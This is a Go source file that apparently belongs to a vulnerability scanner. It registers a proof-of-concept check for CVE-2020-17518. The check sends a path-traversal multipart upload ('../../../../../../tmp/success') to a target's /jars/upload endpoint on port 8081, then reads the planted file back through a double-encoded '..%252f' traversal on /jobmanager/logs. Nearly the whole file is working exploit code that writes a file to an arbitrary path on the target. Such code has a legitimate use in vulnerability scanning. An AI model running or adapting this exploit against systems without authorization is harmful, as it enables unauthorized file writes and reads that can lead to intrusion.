package scripts

import (
	"bytes"
	"crypto/md5"
	"encoding/hex"
	"fmt"
	"github.com/flipped-aurora/gin-vue-admin/server/myImport/loophole/pkg/util"

	"io/ioutil"
	"math/rand"
	"mime/multipart"
	"net"
	"net/http"
	"strings"
	"time"
)

// 生成随机字符串
func GetRandomString(length int) string {
	str := "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
	bytes := []byte(str)
	result := []byte{}
	r := rand.New(rand.NewSource(time.Now().UnixNano()))
	for i := 0; i < 10; i++ {
		result = append(result, bytes[r.Intn(len(bytes))])
	}
	return string(result)
}

// 生成md5
func MD5(text string) string {
	ctx := md5.New()
	ctx.Write([]byte(text))
	return hex.EncodeToString(ctx.Sum(nil))
}
func checkCVE202017518(args *ScriptScanArgs) (*util.ScanResult, error) {
	addr := args.Host
	conn, err := net.DialTimeout("tcp", addr+":8081", time.Second*3)
	if err != nil {
		return nil, err
	}
	defer conn.Close()

	fileContents := []byte(MD5(GetRandomString(10)))
	body := &bytes.Buffer{}
	writer := multipart.NewWriter(body)
	part, err := writer.CreateFormFile("jarfile", "../../../../../../tmp/success")
	if err != nil {
		fmt.Printf("CreateFormFile: %v\n", err)
	}
	part.Write(fileContents)
	boundary := writer.Boundary()
	multipart.NewReader(body, boundary)
	writer.Close()

	request, err := http.NewRequest("POST", "http://"+addr+":8081/jars/upload", body)
	if err != nil {
		return nil, err
	}

	headers := map[string]string{
		"Content-Type": "multipart/form-data; boundary=" + boundary,
		"User-Agent":   "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36",
		"Host":         addr + ":8081",
	}
	for key, header := range headers {
		request.Header.Set(key, header)
	}

	client := &http.Client{}
	resp, err := client.Do(request)
	if err != nil {
		return nil, err
	} else {
		body := &bytes.Buffer{}
		_, err := body.ReadFrom(resp.Body)
		if err != nil {
			return nil, err
		}
		resp.Body.Close()
	}

	newresp, err := http.Get("http://" + addr + ":8081" + "/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fsuccess")
	if err != nil {
		return nil, err
	}
	defer newresp.Body.Close()

	newbody, err := ioutil.ReadAll(newresp.Body)
	if newresp.StatusCode == 200 && strings.Contains(string(newbody), string(fileContents)) {
		//fmt.Printf("存在")
		return util.VulnerableTcpOrUdpResult(addr, "", nil, nil), nil
	} else {
		//fmt.Printf("不存在")
		return &util.InVulnerableResult, nil
	}
}

func init() {
	ScriptRegister("poc-go-CVE-2020-17518", checkCVE202017518)
}
